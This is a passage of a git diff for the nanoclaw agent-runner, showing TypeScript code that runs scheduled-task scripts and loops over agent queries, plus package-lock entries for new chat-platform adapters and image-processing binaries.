ScriptResult { + wakeAgent: boolean; + data?: unknown; +} + +const SCRIPT_TIMEOUT_MS = 30_000; + +async function runScript(script: string): Promise { + const scriptPath = '/tmp/task-script.sh'; + fs.writeFileSync(scriptPath, script, { mode: 0o755 }); + + return new Promise((resolve) => { + execFile( + 'bash', + [scriptPath], + { + timeout: SCRIPT_TIMEOUT_MS, + maxBuffer: 1024 * 1024, + env: process.env, + }, + (error, stdout, stderr) => { + if (stderr) { + log(`Script stderr: ${stderr.slice(0, 500)}`); + } + + if (error) { + log(`Script error: ${error.message}`); + return resolve(null); + } + + // Parse last non-empty line of stdout as JSON + const lines = stdout.trim().split('\n'); + const lastLine = lines[lines.length - 1]; + if (!lastLine) { + log('Script produced no output'); + return resolve(null); + } + + try { + const result = JSON.parse(lastLine); + if (typeof result.wakeAgent !== 'boolean') { + log( + `Script output missing wakeAgent boolean: ${lastLine.slice(0, 200)}`, + ); + return resolve(null); + } + resolve(result as ScriptResult); + } catch { + log(`Script output is not valid JSON: ${lastLine.slice(0, 200)}`); + resolve(null); + } + }, + ); + }); +} + +async function main(): Promise { + let containerInput: ContainerInput; + + try { + const stdinData = await readStdin(); + containerInput = JSON.parse(stdinData); + try { + fs.unlinkSync('/tmp/input.json'); + } catch { + /* may not exist */ + } + log(`Received input for group: ${containerInput.groupFolder}`); + } catch (err) { + writeOutput({ + status: 'error', + result: null, + error: `Failed to parse input: ${err instanceof Error ? err.message : String(err)}`, + }); + process.exit(1); + } + + // Credentials are injected by the host's credential proxy via ANTHROPIC_BASE_URL. + // No real secrets exist in the container environment. + const sdkEnv: Record = { + ...process.env, + CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', + }; + + const __dirname = path.dirname(fileURLToPath(import.meta.url)); + const mcpServerPath = path.join(__dirname, 'ipc-mcp-stdio.js'); + + let sessionId = containerInput.sessionId; + fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); + + // Clean up stale _close sentinel from previous container runs + try { + fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); + } catch { + /* ignore */ + } + + // Build initial prompt (drain any pending IPC messages too) + let prompt = containerInput.prompt; + if (containerInput.isScheduledTask) { + prompt = `[SCHEDULED TASK - The following message was sent automatically and is not coming directly from the user or group.]\n\n${prompt}`; + } + const pending = drainIpcInput(); + if (pending.length > 0) { + log(`Draining ${pending.length} pending IPC messages into initial prompt`); + prompt += '\n' + pending.join('\n'); + } + + // Script phase: run script before waking agent + if (containerInput.script && containerInput.isScheduledTask) { + log('Running task script...'); + const scriptResult = await runScript(containerInput.script); + + if (!scriptResult || !scriptResult.wakeAgent) { + const reason = scriptResult + ? 'wakeAgent=false' + : 'script error/no output'; + log(`Script decided not to wake agent: ${reason}`); + writeOutput({ + status: 'success', + result: null, + }); + return; + } + + // Script says wake agent — enrich prompt with script data + log(`Script wakeAgent=true, enriching prompt with data`); + prompt = `[SCHEDULED TASK]\n\nScript output:\n${JSON.stringify(scriptResult.data, null, 2)}\n\nInstructions:\n${containerInput.prompt}`; + } + + // Query loop: run query → wait for IPC message → run new query → repeat + let resumeAt: string | undefined; + try { + while (true) { + log( + `Starting query (session: ${sessionId || 'new'}, resumeAt: ${resumeAt || 'latest'})...`, + ); + + const queryResult = await runQuery( + prompt, + sessionId, + mcpServerPath, + containerInput, + sdkEnv, + resumeAt, + ); + if (queryResult.newSessionId) { + sessionId = queryResult.newSessionId; + } + if (queryResult.lastAssistantUuid) { + resumeAt = queryResult.lastAssistantUuid; + } + + // If _close was consumed during the query, exit immediately. + // Don't emit a session-update marker (it would reset the host's + // idle timer and cause a 30-min delay before the next _close). + if (queryResult.closedDuringQuery) { + log('Close sentinel consumed during query, exiting'); + break; + } + + // Emit session update so host can track it + writeOutput({ status: 'success', result: null, newSessionId: sessionId }); + + log('Query ended, waiting for next IPC message...'); + + // Wait for the next message or _close sentinel + const nextMessage = await waitForIpcMessage(); + if (nextMessage === null) { + log('Close sentinel received, exiting'); + break; + } + + log(`Got new message (${nextMessage.length} chars), starting new query`); + prompt = nextMessage; + } + } catch (err) { + const errorMessage = err instanceof Error ? err.message : String(err); + log(`Agent error: ${errorMessage}`); + writeOutput({ + status: 'error', + result: null, + newSessionId: sessionId, + error: errorMessage, + }); + process.exit(1); + } +} + +main(); diff --git a/container/agent-runner/src/ipc-mcp-stdio.ts b/container/agent-runner/src/v1/ipc-mcp-stdio.ts similarity index 100% rename from container/agent-runner/src/ipc-mcp-stdio.ts rename to container/agent-runner/src/v1/ipc-mcp-stdio.ts diff --git a/container/agent-runner/src/mcp-tools.ts b/container/agent-runner/src/v1/mcp-tools.ts similarity index 100% rename from container/agent-runner/src/mcp-tools.ts rename to container/agent-runner/src/v1/mcp-tools.ts diff --git a/package-lock.json b/package-lock.json index 97b055e..6a1e28c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,11 +8,22 @@ "name": "nanoclaw", "version": "1.2.52", "dependencies": { + "@beeper/chat-adapter-matrix": "^0.2.0", + "@bitbasti/chat-adapter-webex": "^0.1.0", "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/gchat": "^4.24.0", + "@chat-adapter/github": "^4.24.0", + "@chat-adapter/linear": "^4.24.0", + "@chat-adapter/slack": "^4.24.0", "@chat-adapter/state-memory": "^4.24.0", + "@chat-adapter/teams": "^4.24.0", + "@chat-adapter/telegram": "^4.24.0", + "@chat-adapter/whatsapp": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", + "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", + "chat-adapter-imessage": "^0.1.1", "cron-parser": "5.5.0" }, "devDependencies": { @@ -33,6 +44,67 @@ "node": ">=20" } }, + "node_modules/@azure/msal-common": { + "version": "15.17.0", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-15.17.0.tgz", + "integrity": "sha512-VQ5/gTLFADkwue+FohVuCqlzFPUq4xSrX8jeZe+iwZuY6moliNC8xt86qPVNYdtbQfELDf2Nu6LI+demFPHGgw==", + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@azure/msal-node": { + "version": "3.8.10", + "resolved": "https://registry.npmjs.org/@azure/msal-node/-/msal-node-3.8.10.tgz", + "integrity": "sha512-0Hz7Kx4hs70KZWep/Rd7aw/qOLUF92wUOhn7ZsOuB5xNR/06NL1E2RAI9+UKH1FtvN8nD6mFjH7UKSjv6vOWvQ==", + "license": "MIT", + "dependencies": { + "@azure/msal-common": "15.17.0", + "jsonwebtoken": "^9.0.0", + "uuid": "^8.3.0" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", + "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@beeper/chat-adapter-matrix": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@beeper/chat-adapter-matrix/-/chat-adapter-matrix-0.2.0.tgz", + "integrity": "sha512-eqKbU0iosIUkBn2dkRqyg+72a9c+v4vi85U81ZM8ETgjqHuZ34xWWntG2UL4ly6sHE/LiO4WL/k2Q+vlzLh8hw==", + "license": "MIT", + "dependencies": { + "@chat-adapter/state-memory": "^4.17.0", + "@chat-adapter/state-redis": "^4.17.0", + "chat": "^4.17.0", + "marked": "^15.0.12", + "matrix-js-sdk": "^41.0.0", + "node-html-parser": "^7.1.0" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/@bitbasti/chat-adapter-webex": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/@bitbasti/chat-adapter-webex/-/chat-adapter-webex-0.1.0.tgz", + "integrity": "sha512-Cl/gy3ifh18y0fs4f/qVNmHXfn+3v40x6QUjOUGZ5mEds2zYiqeVAalRkL+feBdjEz1tE8aQtzf1OUhRGPQeFw==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "^4.15.0" + }, + "peerDependencies": { + "chat": "^4.15.0" + } + }, "node_modules/@chat-adapter/discord": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/@chat-adapter/discord/-/discord-4.24.0.tgz", @@ -52,6 +124,41 @@ "integrity": "sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==", "license": "MIT" }, + "node_modules/@chat-adapter/gchat": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/gchat/-/gchat-4.24.0.tgz", + "integrity": "sha512-60DAZMQ4EmnwruUP1CTkAOHnzuNM0Qjvh0ASa5c9Yxy1BTqFzWCtqVxssYL/VqBImgDkR9yO0vVlbvZjKTZ8gA==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@googleapis/chat": "^44.6.0", + "@googleapis/workspaceevents": "^9.1.0", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/github": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/github/-/github-4.24.0.tgz", + "integrity": "sha512-iK2Wj0p8LH7aW6C53XxcR9ouzkkZrswaWY4DGlPT7+MBYd1u5HAMgruDcQFyoeiH4JZA4f0oCpccBidCnssDRQ==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@octokit/auth-app": "^8.2.0", + "@octokit/rest": "^22.0.1", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/linear": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/linear/-/linear-4.24.0.tgz", + "integrity": "sha512-FrbIPyWMW5WWT4KFIO14Oc0iLwdUQG1R5eQ0oXLizVCXWb3COTwwNhhozO7eGL8ZDI+OrU7Tz8sWjNEakuBxSg==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@linear/sdk": "^76.0.0", + "chat": "4.24.0" + } + }, "node_modules/@chat-adapter/shared": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/@chat-adapter/shared/-/shared-4.24.0.tgz", @@ -61,6 +168,17 @@ "chat": "4.24.0" } }, + "node_modules/@chat-adapter/slack": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/slack/-/slack-4.24.0.tgz", + "integrity": "sha512-K8QOYfYMVV8yQixspLAilhh2nou2sybW/M5+8WunegZZlpLqLfQHl78fAJsp+CRveo24bR4UlCcT92/EpGkwOA==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@slack/web-api": "^7.14.0", + "chat": "4.24.0" + } + }, "node_modules/@chat-adapter/state-memory": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/@chat-adapter/state-memory/-/state-memory-4.24.0.tgz", @@ -70,6 +188,50 @@ "chat": "4.24.0" } }, + "node_modules/@chat-adapter/state-redis": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/state-redis/-/state-redis-4.24.0.tgz", + "integrity": "sha512-ne0jSUXSOuJUre0XP58F+JVwvMQXUdxoK0NVkKNKyKDSPfpyDkgnLUVnt1TVTihLrIFp+wPb1mpz/UZEv7NMJw==", + "license": "MIT", + "dependencies": { + "chat": "4.24.0", + "redis": "^5.11.0" + } + }, + "node_modules/@chat-adapter/teams": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/teams/-/teams-4.24.0.tgz", + "integrity": "sha512-h3+5ME25i47bBbgg3XekwuWZ7q3IorlyyvHiTrCnHzy4jFOrCW9of1fea+o4yzrQiwBtUgGBMbnxqFKV+Xg8+A==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@microsoft/teams.api": "^2.0.6", + "@microsoft/teams.apps": "^2.0.6", + "@microsoft/teams.cards": "^2.0.6", + "@microsoft/teams.graph-endpoints": "^2.0.6", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/telegram": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/telegram/-/telegram-4.24.0.tgz", + "integrity": "sha512-xNsxQH2IFaOs9FEP8Yx5cI0qENl7P1slSNe1lH0nOqfHnOI65cVcUZqQ4i/RDNkS65E3XAxxWB6q9YS2ku7SSw==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/whatsapp": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/whatsapp/-/whatsapp-4.24.0.tgz", + "integrity": "sha512-HEGwBDI+CXlZcaux2V/cX3YToRL2nsUx6cX0z9C40vovCicERP/Ax9M9qOTATqj4BWU9XTTCPniY6noGc3JgAg==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "chat": "4.24.0" + } + }, "node_modules/@discordjs/builders": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.14.1.tgz", @@ -210,6 +372,16 @@ "url": "https://github.com/discordjs/discord.js?sponsor" } }, + "node_modules/@emnapi/runtime": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.9.2.tgz", + "integrity": "sha512-3U4+MIWHImeyu1wnmVygh5WlgfYDtyf0k8AbLhMFxOipihf6nrWC4syIm/SwEeec0mNSafiiNnMJwbza/Is6Lw==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, "node_modules/@esbuild/aix-ppc64": { "version": "0.27.3", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", @@ -810,6 +982,39 @@ "node": "^18.18.0 || ^20.9.0 || >=21.1.0" } }, + "node_modules/@googleapis/chat": { + "version": "44.6.0", + "resolved": "https://registry.npmjs.org/@googleapis/chat/-/chat-44.6.0.tgz", + "integrity": "sha512-Bnqzev/bSTXSbE0/N2WS4Stnleo8j9bJJ1LkCBk1fXQnehcArVMv7q543rzPYU6MJql4D34On6diNGAuYtI9xQ==", + "license": "Apache-2.0", + "dependencies": { + "googleapis-common": "^8.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@googleapis/workspaceevents": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/@googleapis/workspaceevents/-/workspaceevents-9.1.0.tgz", + "integrity": "sha512-aJiMrTi/YyUUaaTO0tnhTHDYU+N9CTD3l3FSfe0yzEHQl7DEc+1LISgdK1o2nurvCtguBEumify5kTkr6Cg5eA==", + "license": "Apache-2.0", + "dependencies": { + "googleapis-common": "^8.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@graphql-typed-document-node/core": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@graphql-typed-document-node/core/-/core-3.2.0.tgz", + "integrity": "sha512-mB9oAsNCm9aM3/SOv4YtBMqZbYj10R7dkq8byBqxGY/ncFwhf2oQzMV+LCRlWoDSEBJ3COiR1yeDvMtsoOsuFQ==", + "license": "MIT", + "peerDependencies": { + "graphql": "^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" + } + }, "node_modules/@humanfs/core": { "version": "0.19.1", "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", @@ -858,6 +1063,471 @@ "url": "https://github.com/sponsors/nzakas" } }, + "node_modules/@img/colour": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", + "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@img/sharp-darwin-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz", + "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-darwin-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz", + "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-libvips-darwin-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz", + "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-darwin-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz", + "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz", + "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==", + "cpu": [ + "arm" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz", + "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-ppc64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz", + "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==", + "cpu": [ + "ppc64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-riscv64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz", + "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==", + "cpu": [ + "riscv64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-s390x": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz", + "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==", + "cpu": [ + "s390x" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz", + "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz", + "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz", + "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-linux-arm": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz", + "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==", + "cpu": [ + "arm" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz", + "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-ppc64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz", + "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==", + "cpu": [ + "ppc64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-ppc64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-riscv64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz", + "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==", + "cpu": [ + "riscv64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-riscv64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-s390x": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz", + "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==", + "cpu": [ + "s390x" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-s390x": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz", + "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz", + "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz", + "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-wasm32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz", + "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==", + "cpu": [ + "wasm32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", + "optional": true, + "dependencies": { + "@emnapi/runtime": "^1.7.0" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz", + "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": 